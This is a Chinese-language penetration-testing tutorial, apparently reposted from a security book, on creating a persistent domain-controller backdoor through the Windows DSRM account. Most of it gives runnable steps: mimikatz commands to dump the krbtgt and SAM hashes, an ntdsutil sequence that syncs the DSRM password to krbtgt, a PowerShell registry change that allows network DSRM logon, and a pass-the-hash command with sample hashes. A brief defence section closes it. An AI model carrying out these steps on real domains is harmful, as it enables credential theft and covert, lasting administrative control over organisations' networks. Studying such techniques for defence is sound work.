域權限維持-DSRM


一、DSRM域后門介紹

目錄服務恢復模式(DSRM,Directory Services Restore Mode),是Windows服務器域控制器的安全模式啟動選項。DSRM允許管理員用來修復或還原修復或重建活動目錄數據庫。活動目錄安裝后,安裝向導提示管理員選擇一個DSRM密碼。有了密碼,管理員可以防護數據庫后門,避免之后出問題。但是它不提供訪問域或任何服務。如果DSRM密碼忘了,可以使用命令行工具NTDSUtil進行更改。

在滲透測試中,可以使用DSRM對域環境進行持久化操作。適用版本為windows server2008(需安裝KB961320才可以使用指定域賬號的密碼對DSRM的密碼進行同步)及以后的版本,windows server2003不能使用此方法。

每個域控制器都有本地管理員賬號和密碼(與域管理員賬號和密碼不同)。DSRM賬號可以作為一個域控制器的本地管理員用戶,通過網絡連接域控制器,進而控制域控制器。

 

二、DSRM域后門過程

1、使用mimikatz查看krbtgt的NTLM hash

在域控制器中打開mimikatz,分別輸入如下命令

privilege::debug
lsadump::lsa /patch /name:krbtgt

 可以看到krbtgt的NTLM Hash為375892441bee1134ffee32deb81d4a70

2、使用mimikatz查看並讀取SAM文件中本地管理員的NTLM Hash

在域控制器中打開mimikatz,分別輸入如下命令

token::elevate
lsadump::sam

 本地管理員賬號也就是DSRM賬號的NTLM Hash為6ffa4e2d80be9ac28ff2e2b06980d677

3、將DSRM賬號和krbtgt的NTLM Hash同步(為DSRM設置新密碼)

NTDSUTIL:打開ntdsutil
set DSRM password:修改DSRM的密碼
sync from domain account 域用戶名字:使DSRM的密碼和指定域用戶的密碼同步
q(第1次):退出DSRM密碼設置模式
q(第2次):退出ntdsutil

 4、查看DSRM的NTLM Hash是否同步成功

在域控制器中打開mimikatz,可以看到此時DSRM的hash就和krbtgt的NTLM Hash一樣了,為375892441bee1134ffee32deb81d4a70

5、修改DSRM的登錄方式

DSRM有三種登錄方式,具體如下:

  • 0:默認值,只有當域控制器重啟並進入DSRM模式時,才可以使用DSRM管理員賬號
  • 1:只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登錄域控制器
  • 2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器

在Windows Server 2000以后的版本操作系統中,對DSRM使用控制台登錄域控制器進行了限制。如果要使用DSRM賬號通過網絡登錄域控制器,需要將該值設置為2。輸入如下命令,可以使用PowerShell進行更改。

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

6、使用DSRM賬號通過網絡遠程登錄域控制器

在任意一台域成員主機上或者域控本機上,輸入如下內容

privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:375892441bee1134ffee32deb81d4a70

 成功后會彈出一個彈框,從而達到權限維持的目的

三、防御

1、定期檢查注冊表中用於控制DSRM登錄方式的鍵值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,確認該兼職為1,或者刪除該鍵值

2、定期修改域中所有域控制器的DSRM賬號

3、經常檢查ID 為4794的日志。嘗試設置活動目錄服務還原模式的管理員密碼會被記錄在4794日志中

 

 

參考:《內網安全攻防-滲透測試實戰指南》


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM